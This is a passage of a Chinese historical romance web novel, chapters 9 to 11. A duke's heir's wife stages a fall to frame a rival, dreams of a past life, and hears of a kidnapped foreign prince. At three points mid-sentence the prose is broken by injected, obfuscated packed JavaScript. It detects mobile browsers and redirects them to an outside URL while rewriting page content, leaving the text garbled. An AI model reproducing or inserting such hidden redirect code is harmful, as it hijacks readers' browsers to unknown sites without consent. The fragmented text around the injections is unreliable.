她抬手正欲指去,不想还未碰到对面人一丝一毫,就听一声低呼,人已骤然往后跌了下去。 眼见范玉盈神色痛苦地坐在地上,赵挽琴懵怔着久久反应不过来。 她这是……被算计了。 她刚想上前拉起范玉盈,教她莫要再装,却有一道身影自她眼前闪过,蹲在了范玉盈跟前。 “世……世子……” 赵挽琴的嗓音里透着惊慌。 然比她更惊诧的却是范玉盈,看着眼前男人黑沉的面色,她杏眸微张,难得生出几分慌乱。 不妙,适才的话,他似乎都听见了。 9. 坦白 “世子,我,我没有,是她……” 赵挽琴只是气不过,过来讥讽几句,并未想过伤害范玉盈半分,她再糊涂也知这是宫中,怎会给她姑母惹事。 见顾缜兀自检查着范玉盈的伤势,一言不发,赵挽琴几欲哭出来,她承认当初她是为了嫁给顾缜而答应了姑母的计划,但绝非心肠歹毒之人,亦不想她心怡的男子误会她。 “世子,是夫人自己摔的,真不是我推的夫人……” 她又靠近一步,却见顾缜一把将范玉盈抱了起来,旋即看向她,淡淡道:“五姑娘快些回朝华殿吧,不然皇贵妃娘娘寻不到你,怕是要着急了。” 他快步出了凉亭,吩咐紫苏,“将此事禀告太子妃,再请个太医过来,切记莫要声张。” 紫苏颔首小跑回朝华殿。 四下围来的宫人见世子夫人受伤,忙恭敬地领着两人去往附近一偏殿。 范玉盈靠在顾缜怀中,回首看赵挽琴站在原地,泫然欲滴,却是抿唇嘲讽地笑了笑。 分明是她主动找的事,而今怎还露出一副委屈的模样,真有意思。 可还未幸灾乐祸多久,范玉盈只觉头晕得愈发厉害,她也管不了抱着她的人是顾缜,手臂揽住他的脖颈,将脑袋枕在他的颈窝,难受地闭上眼。 男人的步子微微滞了滞,不动声色将托着她的手臂收紧了几分。 没一会儿,范玉盈被放落在了平整的床榻上,盖上了衾被,也能感受到顾缜就坐在她身侧。 但她始终假寐未睁开眼,方才发生了那样的事,室内如今仅他们二人,实在尴尬。 大抵躺了一刻钟,外头出现响动,范玉盈认出是紫苏的声儿,她将太医请来了。 宁太医背着药箱匆匆入内,他对这位范三姑娘,即而今的定远侯世子夫人并不陌生。 毕竟也不知被太子妃派去范府替她看诊了多少回。 他同顾缜施礼后,才随紫苏上前,隔着丝帕诊断片刻,见范玉盈幽幽醒转,又询问了几句,起身对顾缜道:“回世子,夫人身子本就虚,疲累加沾了点酒,这才发热不适,服两贴药后再好生歇息几日便能有所缓解。” 他顿了顿,视线又瞥向床尾,“听紫苏姑娘说,夫人还崴了脚,可否请世子帮忙检查一番伤势?” 纵是太医,也不好直接看这贵妇人裸.露的双足,今日又来得急,没能带个帮忙的医女过来,宁太医只庆幸世子从前随侯爷镇守边关,对这些外伤应十分熟悉。 顾缜颔首,紫苏忙上前帮着放下一边床帐,随即和宁太医一道退远了些。 范玉盈躺在榻上,本觉得没什么,可感受到顾缜褪了她的足衣,将粗粝又滚烫的大掌落在上头时,她不由得身子一颤,下意识想将脚缩回去。 然男人的动作比她更快。 一下擒住了她纤细的脚腕,令她动弹不得。 下一刻,范玉盈只觉脚踝处传来一阵钻心的疼痛,她倒吸一口凉气,忍不住侧着身子狠狠瞪了顾缜一眼。 捏得这般重,她都怀疑他是成心的。 顾缜抬首,见范玉盈一双杏眸噙泪,正怨怪地看着他,却是面无表情转向床榻外。 “脚踝略有些红肿,但看样子,应未伤及筋骨。” 宁太医道:“那下官便给夫人开些膏药,每日两回,擦在患处即可。” “好,劳烦宁太医了。” 宁太医施礼罢,退出殿内,紫苏也一道跟着去太医院取药。 两人才踏出门,就听外头响起一声“微臣见过太子妃娘娘”。 没一会儿,眼看范玉宁带着贴身婢子入内,范玉盈陡然精神了些。 顾缜起身冲范玉宁行礼,范玉宁顺势问了他两句,便以姐妹间要说些体己话为由让顾缜出去了。 隔扇门甫一关上,范玉宁周身那独属于太子妃的威仪顷刻间消失得干干净净,她摸着范玉盈的脸,又变回那个疼爱幼妹的长姐,“小妹,可还好?” 范玉盈勉力一笑,“没什么大碍,大姐姐不必担忧。” “面色这般难看,还说无事。”范玉宁心疼地用丝帕擦去她额上的汗珠,嗓音里带着几分愧疚,“都是大姐姐的错,才让你无端卷入这场是非。” 若不是因为她嫁给了太子,她家小妹又怎会沦为长公主与皇贵妃相斗的牺牲品,今日还因那赵五姑娘受了伤。 她小妹生来体弱,又长得这副姣好的容貌,还是她这个太子妃的妹妹,范玉宁一直担忧她的婚事为人筹谋算计,这些年便干脆放任外头流言四起,绝了上门提亲的人,以此来保护她,谁曾想最后阴差阳错之下她烦愁之事还是发生了。 范玉盈知晓姐姐在想什么,她握住范玉宁的手,语气轻松,“大姐姐说什么呢,吃亏的可不是我。我的脚先头便崴了,想着那赵挽琴自个儿来挑事,怎的也不能放过这个机会。” 说罢,她挑眉笑道:“大姐姐这些年在皇贵妃底下吃了不少苦头,这回可得趁着这大好的机会加倍还回去。” 范玉宁微愣了片刻,哪里想到这竟是妹妹故意设下的圈套,然她并未生出丝毫喜色,反是蹙眉在范玉盈额头重重一点,“你这丫头,姐姐不需你如此。” 她说着,红了眼眶,柔荑抬起,转而温柔地摸了摸范玉盈的脑袋,“姐姐从前没能护佑住你,往后也不要你保护。我家枚枚,该是无忧无虑地活着。” 听着这一声久违的“枚枚”,范玉盈不由忆起一些过往,亦止不住地喉间发涩,重来一回,她拼命想改变一切,很大一部分缘由是因为她的姐姐们,前世她不懂事,不知姐姐们对她究竟有多好,反给她们惹了不少麻烦,尤其是大姐姐,她当年不管不顾做下那些事时,她身为太子妃的大姐姐亦受了不少冷嘲热讽,若非太子极力护着,兴许而今已不可能身处东宫。 但她而今明白了,这一世,也绝不想再失去她们。 她不欲让气氛变得凄凄哀哀,努力扬笑道:“可枚枚长大了,不想再看大姐姐为了我们忍气吞声,受人欺辱。” 言至此,她忽而将话锋一转,面露忧色,“对了大姐姐,今日我不小心撞了瑄岚来的使臣,摔了他们献给陛下和太子的礼,可有酿下什么大祸?” “献给陛下和太子的礼?”范玉宁秀眉蹙起。 “是啊,就放在一个匣子里,应是什么金器,我是听那小殿下亲口所说。”范玉盈眨了眨眼,露出一副茫然的神情,“是有……什么问题吗?” 范玉宁神色愈发凝重起来,她沉默片刻,但很快又佯做无事般笑道:“没有问题,瑄岚献礼时我看了,是两条金銙带,完好无损。” 她看了眼范玉盈红肿的右脚脚踝,提议道:“脚成了这般,今夜不若就在东宫歇下吧。” “不了。”范玉盈摇头,“东宫到底不便,妹妹还是回侯府的好。” 她实在不想给她大姐姐添麻烦。 范玉宁本欲再劝,但看到范玉盈眸中的坚持,只得答应,“那好,一会儿我命人寻个轿子,送你出宫。” 范玉宁又拉着妹妹碎碎叮嘱了好些话,才依依不舍地起身,行至殿外长廊下,见着对她恭敬行礼的顾缜,柔声道:“我家小妹自小身子不好,有时是任性了些,但骨子里是个纯善的好姑娘,平日里她若有什么不当之处,还望世子莫同她计较。” 顾缜默了默,低低应了声“是”。 范玉宁这才安心离开。 虽说她家小妹这婚事来得实在突然,可幸得她所嫁之人是这位定北侯世子顾缜,顾缜此人性子虽有些冷硬,但好在是个正人君子,想来不会因外间流言而委屈了她家小妹。 在偏殿又待了小半个时辰,估摸着参宴的宾客都走的差不多了,范玉盈才被顾缜抱出来,由几个内侍一顶小轿抬出了宫门。 她周身倦累又难受得厉害,坐上马车后,始终倚着车壁昏昏沉沉。 也不知过了多久,就听得一道低沉醇厚的嗓音飘来,“我瞧见了,适才赵五姑娘并未推你。” 见顾缜终是与她谈论起此事,范玉盈缓缓睁眼看去,也不闪不避,“妾身不曾说过是她推的。” 顾缜看着范玉盈面上的浅笑与坦然,不由剑眉深蹙,“为何以这般方式故意陷害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469886|185524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于她?” 他倒是挺在意那赵挽琴。 因着发热,范玉盈头疼得格外厉害,这会儿心下烦躁难言,是一点都不想跟顾缜虚以委蛇。 “世子觉得为甚,世子不是听见了吗。”她不答反问,笑意里带着几分促狭,“世子这般心疼五姑娘,是后悔当初娶的不是她吗?那您便去陛下那儿解释解释,就说是我范玉盈故意诬陷她赵挽琴,再让陛下准我们二人和离,好让你风风光光娶那赵五姑娘过门。” 顾缜静静听着,掩在袖中的手握紧成拳。 他心下若堵了一物,一时间滞闷得厉害,亦混着一股子无处发泄的火,可他分不清自己究竟为何而怒。 是因范氏做事极端,不顾体弱,以伤害自己身体的方式来报复,还是明知定北侯府从不参与皇位之争,她却以这种手段暗中帮助她的姐姐。 但他想问她的,真正介意的是这些吗? “你们都觉这桩婚事委屈了他顾缜,可我压根不稀罕……” 是,他听见了,且听得一清二楚。 他因她久久未归而担忧前去找寻,可谁料会听到这样的话。 她清冷的声儿复又在他脑海中响起时,他几乎是不假思索地脱口而出,“你便如此不愿嫁我?” 范玉盈怔愣了一瞬,不想顾缜会问的这般直接,果然,他听到了她对赵挽琴说的话。 想来这位定北侯世子定觉十分伤颜面吧,毕竟在他眼里,在所有人眼中,她范玉盈又有什么资格嫌弃他。 “世子不也不愿娶我吗?”她直勾勾看着顾缜,忽而自嘲一笑,“我声名狼藉,心肠歹毒,不敬尊长,苛待下人,世子亲眼所见,想也猜到先前二房两位姑娘大打出手是我刻意挑拨。要让世子失望了,我范玉盈恐永远成为不了世子心中想要的贤妇!” 顾缜双眸微眯,凝视着眼前斩钉截铁的女子。 这才是最真实的范氏。 她不温柔娴静,相反,出言刻薄,心硬如铁,仿佛长了一身尖锐的刺,随时准备加倍还击那些企图伤害她的人,不许旁人冒犯她一点。 顾缜薄唇抿成一线,心底深处泛出一丝说不清道不明的滋味。 她不愿嫁他。 正好! 他亦不想要如她这般的妻子! “世子爷,少奶奶,我们到了。”外头传来李寅的声儿。 范玉盈眼看顾缜一言不发地下了车,心下有些辨不出滋味。 她没想与顾缜在明面上彻底撕破脸,至少也该有表面的平静和谐,等两年后再顺理成章与他提出和离。 如今事儿发展到这一步,顾缜怕是愈发不想见到她了。 也罢,他本也和旁人一样,不怎么喜她。 没甚区别了。 她欲下车去,然才站起来,不仅是双腿一软,更是眼前发黑,整个人直直向前倒去。 “姑娘!” 耳畔紫苏惊慌的嗓音随着她的意识渐渐远去了,但很快却又清晰起来。 “姑娘,姑娘……” 她费力地睁开眼,却发现自己正身处一间陌生的卧房中,她躺在床榻上,紫苏刚自外头跑进来,这会儿正扑在她跟前哭得涕泗横流。 “姑娘,陛下已命人查清了太子谋逆一案,范家终于清白了……” “好,太好了……”她听见自己格外虚弱的嗓音,但声儿里却是止不住的哽咽和欢喜。 “此番多亏了侯爷和将军……”紫苏抬手用衣袂抹了把脸,“老爷,两位姑娘,还有小公子他们若泉下有知,也能瞑目了。” 侯爷?将军? 范玉盈疑惑之际,便见一个身影自门外步入,天光照得她颇有些睁不开眼,直到男人行至床榻前,她才终于看清他的真容。 亦是在这一刻,范玉盈醒了。 她勉力掀起眼睑,只见坐在榻沿的人垂眸看来,那眉眼,与梦中的男人逐渐重叠。 神智混沌间,范玉盈启唇,不自觉唤出一句。 “侯爷……” 顾缜蹙眉。 “你喊我,什么?” 10. 伤口 听到这熟悉的嗓音,范玉盈骤然清醒几分,她小心观察着顾缜的反应,确认他并未听清自己方才说了什么。 她拧紧一双秀眉,做出副头疼欲裂的模样,抿了抿唇道:“世子爷,妾身有些口渴。” 顾缜凝视她须臾,不着一言,起身走向不远处的红漆圆桌。 范玉盈支起无力的身子,看着男人宽阔高大的背脊,神色愈发复杂起来。 缘何,顾缜会出现在她的前世记忆里? 可分明前世她与顾缜并无一丝一毫的交集。 她垂眸思忖片刻,秀眉蹙起,骤然想起前一阵她恢复的记忆里,教坊司的夏姑姑说起过,有一位大人向陛下讨了她做妾。 那人是顾缜? 但顾缜与她素不相识,为何会特意向陛下求了她。 总不能是看上她的美色吧? 这个想法冒出来时,范玉盈险些笑出声。 怎么可能,就顾缜这般后院干净得一个通房妾室也无,不近女色,清心寡欲的男人,眼下都对她厌恶得紧,哪里会看得上彼时在教坊司病怏怏的她。 正当她百思不得其解之际,顾缜已端着茶盏回返,范玉盈道过一声谢后,伸手接过,慢悠悠吞着茶盏中的温水润喉。 她自然感受到了面前人炙热的目光,即使如芒在背,也只能装作不知。 待她喝下一些,随着“吱呀”一声响,主卧的隔扇门被推开,紫苏和白芷端着汤药和热水进来。 “姑……大少奶奶醒了。”白芷自然地接过范玉盈手中的茶盏,“宁太医开的药奴婢已煎好了,大少奶奶快趁热喝了吧。” 范玉盈拿起承盘中的药碗,眼也不眨一饮而尽。 将空碗放回去时,才听始终一言不发的顾缜开口道:“大理寺还有些要务,今夜我需得在前院书房处理公文,便在那儿歇下了。” “是。”范玉盈恭顺道,“那妾身便让紫苏替世子爷准备好换洗的衣物。” 顾缜点了点头,复又深深看了她一眼,起身离开。 范玉盈因发了热,一身衣裳都汗透了,紫苏趁着替自家主子擦洗更衣的工夫,低声道:“姑娘可是跟世子爷闹别扭了,但奴婢瞧着世子爷还是很在乎姑娘的,姑娘在马车上晕过去时,世子爷面色都白了。” 范玉盈平静地听着。 哪里会不吓着,再怎么说她都是太子妃的妹妹,若她有个好歹,定北侯府又如何同她大姐姐交代。 见自家姑娘似乎并未流露出不虞,紫苏大着胆子继续道:“都说夫妻之间没有隔夜仇,想必过几日,世子爷便不会再同您置气了。” 两人在马车上的争吵声,紫苏都听见了,她希望她家姑娘在侯府过得好,自然不愿她家姑娘与世子之间生了龃龉。 听得这话,范玉盈若有所思起来。 她而今也懊悔得紧,若早知道顾缜与前世有关,还替太子翻了案,在马车上她绝不会一时头脑发昏与他翻了脸。 他于她,实在有用。 她折首看向正替她擦身子的紫苏。 前世,紫苏未受范家牵连,是因一年后,她见紫苏到了年岁,便将身契归还于她,放她出去嫁人,这才使她逃过一劫。 想必是她出了教坊司后,顾缜将紫苏重新送回了她的身边。 “紫苏。”她忽而认真地问道,“你说,怎样才能让世子爷快些消气?” 是夜,顾缜入眠时,已是四更天,睡了不过两个时辰,便被一阵急促的敲门声唤醒。 “世子爷,大理寺派人来禀,京城出了大案。”李寅在外头高声喊道。 顾缜赶到四方馆时,大理寺丞秦昭已在现场粗粗探查了一番,见顾缜眼底发青,精神不济,疑惑道:“大人昨夜未睡好?” 顾缜不欲回想那令他难眠之人,摇了摇头,问道:“究竟是怎么一回事?” 话音才落,一人自屋内冲出来,一把拽住他,激动道:“这位便是顾少卿吧,还请顾少卿务必赶快寻到我家殿下!” 顾缜认得此人,昨夜在中秋宫宴上,正是他陪同瑄岚七王子向陛下献的礼。 七王子怎么了? 他看向秦昭。 秦昭禀道:“今早这位乌荪大人来唤七王子晨起,不料屋内空空如也,且瑄岚使团里,还有一人被发现死于房中。” “定是有贼人掳走了殿下,欲挑起两国争端。”那名为乌荪的使臣心急如焚,“少卿,您快派人去寻啊。” 顾缜朝秦昭使了个眼色,秦昭颔首,一把按住那乌荪,好让顾缜入屋查看。 自床榻到窗扇,顾缜细细看过一圈,不由剑眉紧锁,其中明显有打斗的痕迹,看样子,昨夜这儿热闹得紧,当至少来了两拨人,可究竟是哪一方将七王子带走的呢。 他走出屋子,又问:“七王子殿下的屋前当时刻有两人把守才对,以昨夜屋内的动静,他们二人不可能毫无察觉,可是擅离职守?” 此事秦昭已提前了解过,“那二人说昨夜他们并未离开过,但不知为何,四更前后,突觉困倦得厉害,不知不觉睡了过去,直到被乌荪大人唤醒,恐是中了迷药……” 顾缜颔首,想起还有一位被杀的使臣,正欲前往他所住的屋子,就见一小吏匆匆跑来,低声在他耳畔说了什么,顾缜面色微变,嘱咐了秦昭几句,便调转方向疾步往四方馆另一院落而去。 这四方馆顾名思义,是为接待来自五湖四海,四面八方的他国来客,七王子所居为南院,顾缜却是出了南院,径直往毗邻的西院而去。 院外已有人提前等候,领他入了角落一昏暗的厢房,厢房内站着一人,背对顾缜。 “微臣见过太子殿下。” 那人转过身,“起来吧。” 太子杨濂在一旁的圈椅上坐下,“世子应当清楚,孤为何而来?” “臣明白,臣定尽快查明此案,寻到七王子的下落。” 太子笑了笑,“世子心思缜密,想必也发现有两拨人进入过七王子的卧房。” 顾缜倏然抬头看去,本以为是太子在大理寺安插之人所通禀,然紧接着却听得一句,“其中一拨人是孤派去的。” 他稍稍一惊,面上却未流露半分,只静静听太子继续道:“但孤派去的人迟了一步,他们亲眼看着七王子被劫走,那些人身形极快,根本追赶不上。” 顾缜思忖片刻,拱手,“微臣斗胆,敢问殿下,为何要派人来这四方馆?” 闻得此言,太子看向顾缜的眼神里多了几分欣赏,换作旁人,定会有所顾忌,不敢太明目张胆向他打探此事,唯恐触及什么禁忌,唯有他顾缜,为了查案,全然不管不顾。 太子本也没想隐瞒,“世子可还记得,中秋晚宴上,瑄岚向父皇进献之物。若孤说,孤偶然得知,那两条金銙带,其中一条本是要献给孤的。” 顾缜眸色一震,那金銙带是何象征他很清楚,若此物被献给了太子,怕是会让太子受一场无妄之灾。 “七王子年岁小,想是受了奸人蛊惑,但幸得此事被及时发现,才未酿成大祸。可昨夜孤心中始终惴惴不安,因担心七王子安危,这才派人前去查看。” “如今七王子下落不明,甚至于生死未卜,若瑄岚王得知此事,和谈崩裂,西南边关战事定会一触即发。”太子复又站起来,神色凝重,“五日后,瑄岚使团便会启程回返,顾少卿,务必要在五日内寻到七王子!” 自西院出来后,顾缜抬首看着头顶万里无云的碧蓝晴空,心绪复杂,此次变故,无论是何结果,太子要面临的恐都是朝堂上的腥风血雨。 他静默片刻,不再去想,毕竟他一个大理寺少卿,眼下要做的只是查案而已。 昨夜死的那位使臣,就住在南院一隅,顾缜穿过角门,便见秦昭已等候在此,身后还跟着那个催促不止的使臣乌荪。 眼见顾缜入屋,秦昭在一旁介绍死者的身份,此人名岩罕,官职在乌荪之下,亦是随七王子一道前来的使臣之一。 此人的尸首背对大敞的窗扇,死时双目圆睁,面露惊恐,额头上有一个透穿的血洞,应是被暗器射入后脑而一击毙命。 顾缜在屋内查探了近一刻钟,忽而转身,“敢问乌荪大人,瑄岚使团中共有多少人?” 乌荪愣了一瞬,答:“加上车夫,仆役,三十精卫等,共四十三人。” 顾缜吩咐秦昭,“将他们速速聚集到院中。” 见秦昭应声去办,乌荪急道:“少卿这是何意,您而今该做的不应是赶快派人去寻我家殿下吗?” “若无线索,偌大一个京城,乌荪大人是准备大海捞针,白白浪费时间吗?”此话令乌荪哑口无言。 不多时,秦昭在院外清点完人数,入内禀报,顾缜又道:“去他们各自屋中,搜!” 秦昭出去吩咐,院中顿时一阵骚动。 乌荪怒不可遏,“少卿此举,莫不是怀疑瑄岚自编自演,害死同族,故意藏匿七殿下不成!” 顾缜并未理会他,不多时,有衙役拿着搜到的物什出来。 “大人,在乌荪大人和另一人屋中各寻到了一件血衣,血迹看起来还很新。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乌荪不知顾缜怎会知晓岩罕蛊惑七王子一事,但如今实在不是计较这些的时候,“我虽审问他究竟受了谁的指使,可到底没能从他口中套得一二,于是便命人暂将他锁在屋中,待回了瑄岚,禀明王上再行定夺。” 毕竟是瑄岚内部之事,乌荪自不想在大盛境内将此事闹大。 顾缜沉吟片刻,倏尔想到什么,眸光陡然锐利起来,“你们瑄岚此次派出的使团中,真的只有这一个奸细吗?” 此话才出,乌荪尚来不得做出什么反应,便见一人推门而入,“大人,属下在其中一人的房内搜到了类似迷药之物。” 顾缜扫向他手中的瓷瓶,却是眸光一凛,下一刻,飞快抽出他腰间佩剑,打落那射向门口衙役的袖箭。 院外响起兵刃交接声。 紧接着,一瑄岚人不知何时窜入屋内,三支袖箭直直往顾缜的方向而来。 顾缜轻而易举用剑挥落,却转而听到一声尖叫,侧首看去,亦有三支袖箭逼近乌荪心口。 定北侯府,葳蕤苑。 及至亥时,顾缜仍没有回来,值夜的红芪见范玉盈已然昏昏欲睡,劝道:“姑娘且睡下吧,世子爷公务繁忙,不知何时才能归。” 范玉盈抬眸看了眼窗扇,放下手中的闲书,点了点头。 红芪便抽掉床头的引枕,伺候她睡下。 “那汤,再热下去便没了滋味,你和几个值夜的小丫头分喝了吧。” 红芪道着“是”,替范玉盈放下床幔,在拔步床前留了一盏小灯,便蹑手蹑脚退了出去。 虽有困意,但因有心事,范玉盈一时没能睡着。 无论是前世还是这一世,但凡招惹她的,她皆是毫不留情加倍偿还,何时上赶着讨好过人。 再者还是她讨厌的顾缜。 何况昨日在马车上将话说的那么绝,紫苏提议的送汤,能行吗? 顾缜性子那么硬的人,哪会轻易被一盏汤所打动,恐是得废好一番工夫。 范玉盈烦的要命,唯一庆幸顾缜还算是个正人君子,纵然与她相看两厌,但有外人在时也给了她这个正妻应有的体面。 她辗转反侧,直到近三更天才沉沉睡去。 不出意外,她又梦见了那个男人。 梦中她被男人抱着,背靠一摇晃作响的门扇之上。 她咬唇死死攀着男人的背脊,以防自己掉下来,被磨了太久,当她终于得偿所愿感受到灭顶的快意时,不由抓住男人的肩头,贝齿报复般狠狠咬了下去。 顺着视线,范玉盈恰好看到了男人背上的伤。 两道并排的伤口自右肩而下,狭长且深浅不一。 看痕迹,很像是箭伤。 11. 蹊跷 这还是她头一回在梦中男人身上看到如今新鲜的伤口,伤口才结痂,应是受伤没多久。 受伤? 范玉盈自觉好笑,一个梦而已,都是假的,又何来受伤一说。 不过,范玉盈已不是头一回发现,但凡她肌肤上有了什么变化,几乎都会立刻展现在梦中。 例如上一回被烫红的手腕,再比如这一次右脚红肿的脚踝。 不得不说,梦中的她除却不能按自己的心意行动,其余的倒还挺真。 翌日醒来时,范玉盈看着身侧那床似乎并未动过的被褥,秀眉微颦,再问白芷,顾缜昨夜果然一宿未归。 这还是头一回他都未叫人过来告诉她去向。 白芷问她可要去李寅那儿探探口风,范玉盈摇了摇头。 前日才闹翻,这会儿太上赶着,未免惹顾缜怀疑。 他不可能一直不回来。 且按前世那般,兴许这会儿顾缜正忙着处理瑄岚使臣自尽一案。 用过早膳,她让白芷扶着,往西次间而去。她这脚崴得并不算太严重,加之太医院的药疗效甚好,已消了大半的肿。 只踩下去时,仍有些疼。 她不愿一直躺着,便在西次间那张书案前坐下,青黛敞了窗,秋风拂入,裹挟着院内山茶的幽香,沁人心脾。 前世窝在她的采薇轩时,闲来无事,她最喜的便是练字。 然放眼望去,案面上并无她可提笔落墨的地方。 书案正中,放着一叠纸张,应是顾缜之物,范玉盈粗粗扫了一眼,却被这笔走龙蛇,遒劲有力的字迹所吸引。 她这夫君的字,倒是与他外显于人的气质很像,刚正雄健。 她也不好多加窥看,拿起上头的青釉莲花镇纸,欲将其下一大叠纸张搁在书案一角,然却遗漏了最底下一张。 纸上密密麻麻的字无可避免地映入她的眼帘。 只一眼,范玉盈便皱起了眉头。 这是在写些什么? 纸上所书,第一二字为“梅梅”,其后所有皆为与“梅梅”发音相似的叠声字。 她顺着看下去,当视线落在中间“枚枚”二字时,心下骤然一动,生出些异样的感受。 沉默片刻,她静静收起纸张,心忖这也许只是顾缜一时兴起练的字罢了,没什么特别的。 白芷取来范玉盈在闺中时便时常临摹的字帖,范玉盈一提笔,便沉浸其中,几乎忘了时辰。 也不知过了多久,青黛挥开竹帘而入,欣喜道:“姑娘,您瞧谁来了?” 范玉盈动作微滞,抬眸便见一着雀梅色织金长衫的女子端然而入,冲她抿唇一笑,举手投足落落大方。 “二姐。”范玉盈有些意外。 范玉融行至她跟前,见她还有闲心摹帖,打趣道:“看你这般精神,当是没什么大碍了。” 范玉盈由白芷扶起在对面小榻上与范玉融一道坐下,就听她问道:“脚还疼吗?” “好多了,只是踩下去时尚有些刺痛,恐还需再将养几日。” 范玉融点点头,“大姐姐昨日自宫中捎信给我,将原委都与我说了,你这丫头,都是什么鬼灵精怪的主意。” 范玉盈端起杯盏,轻啜了口茶水,挑眉道:“那赵五姑娘如何了?” 提及此事,范玉融面上笑意浓了些,“听闻,被皇贵妃狠狠斥了一顿,罚她闭门思过去了。后来皇贵妃还特意去了东宫,替赵五姑娘向大姐姐赔礼呢,你这一招倒是不错。” 范玉盈笑了笑,都能想象到赵挽琴如何在皇贵妃面前道自己冤枉,可她纵然再冤也拿不出证据,毕竟是她自己先找上来的,且当时不少听见动静过来的宫婢内侍可都瞧见她在和赵挽琴争执间跌坐在地,太医院还能证明她实打实受了伤,加之赵挽琴倾慕顾缜之事在京中并非什么秘密,这回,她赵挽琴可算是百口莫辩。 皇贵妃为了不惹怒景贞帝,自然是要快一步下手处置赵挽琴,表明她赵家的态度,纵然恨得牙痒痒,近日在东宫前恐也得夹着尾巴做人。 范玉融在屋内环视一圈,问道:“世子这几日当是早出晚归,忙得紧吧。” 在姐姐面前,范玉盈也不必撒谎,如实道:“他昨夜并未回来,或是遇到了什么棘手的案子。” “你还不知吗?”听得此言,范玉融有些诧异,她顿了顿,目光往四下扫了扫,范玉盈会意,让白芷将屋内所有仆婢都带了下去。 门扇一闭,范玉融才继续道:“虽官府拼命封锁了消息,但到底动作太大,不可能一点疏漏也无,此事我也是极偶然得知。” 她家二姐在京中开了不少茶楼,车马盈门,来来往往的人络绎不绝,其中鱼龙混杂,自也容易探听到一些消息。 但看她二姐谨慎的模样,恐是与官府朝堂相关。 “听闻瑄岚的七王子不见了。” 范玉盈猛然抬首看去,“什么叫不见了?” 范玉融叹了口气,“听闻中秋宫宴的第二日,七王子不见了踪影,掳走他的人似乎还杀了瑄岚的一个使臣。” 范玉盈脑中混乱得厉害。 怎会如此,前世似乎并未发生这样的事,那使臣也是畏罪而死,非为人所杀,七王子也并没有消失啊…… 难道是因她的介入,使献礼一事不复存在,才让背后之人索性一不做二不休,彻底使和谈崩裂。 虽说眼下七王子生死未卜,若真有个好歹,无论罪魁祸首是哪方,似乎都对和谈不利。 若此事是瑄岚内部所为,欲嫁祸大盛,挑起两国争端,定会引得本就好战的景贞帝勃然大怒,但反之,若此事是大盛人布的局,瑄岚王痛失爱子,又怎会就此善罢甘休。 此举于主张和谈的太子而言,无疑是一场死局。 范玉盈秀眉紧锁,虽说无论如何,这仗最后兴许都会打起来,但她眼下只希望,七王子千万别有事才好。 “西南属州而今也算太平,我本想着等两边谈和,便可以与瑄岚互通商贸,瑄岚虽远不如大盛繁荣,却有许多大盛没有的药材鲜果,若能处理后运至大盛各地贩卖,也不失为一个商机。” “但眼下只怕是……这仗一旦打起来,必然民不聊生,尸横遍野,不知多少百姓和将士要因此丢了性命……” 范玉融说着,面露唏嘘,也不知想到什么,垂眸有片刻的失神。 但很快,她笑着将话锋一转,“对了,近日,我与父亲商量着,想重新送阿宥去书院。” 范玉盈想起上一世,“他肯去?” “不去也由不得他,自祖母走后,他是愈发不成器了,再不治治,恐是成了废人。”范玉融眉眼间透出些许疑窦,“说来,这小子也奇怪,祖母在时还算勤勉,这几年却是不学无术,游手好闲,整日在他院里逗弄那些鸟儿。” 范承宥为何突然转了性子,范玉盈不大关心,“先前那丫头的事,他可有再闹?” “同我闹了两回,觉得我不该如此替你掩护,我想着就算说那丫头刻意勾引他,他也不会信,便按你教我的法子,说是我太笨没看出他对那丫头有意思,言他也到了年岁,上赶着禀明父亲替他纳了那丫头,他涨红了脸连连拒绝,才终于消停下来。后来,听说他偷偷派阿忠出去寻人,但并未寻着。”范玉融猜测道,“那丫头或是已被卖到哪儿去了。” 卖? 范玉盈在心下轻笑了一声,早已成了尸首也不一定。 虽说此番是她这位声名狼藉的范三姑娘把人赶出的府,但将那丫头安插在范家的人不一定不怀疑是那丫头已然暴露,稳妥起见,定会斩草除根。 范玉融又坐着说了许多,眼见快到了用午饭的时辰,便起身离开,范玉盈留她一道用饭,范玉融却是摇了摇头,说她公婆还在家中等她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469888|185524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >听得此言,范玉盈眸色阴沉了几分,她朱唇微张,本想说什么,但终究只是笑了笑,道了句“二姐的公婆倒是对二姐极好”。 “是啊。”一向雷厉风行的范玉融想起姚家人,也不免露出些幸福的小女儿情态,“我公公婆婆待我如亲女,不但府中中馈由我掌管,也从不干涉我在外头的生意,我也算是嫁了个好人家。” 好人家…… 范玉盈看着赧然而笑的范玉融,心里颇有些不是滋味,实在不知她持筹握算,八面玲珑的二姐,怎就会被一个姚家蒙蔽得这般彻底。 两姐妹这厢正在道别,沈嬷嬷带着几个丫鬟进来了,“大少奶奶,这是夫人给您送来的药材,说是让您好生补补身子的。” 范玉融在京城的生意,也有些许涉及药材,不过随意一扫,她便知都是不可多得的好东西。 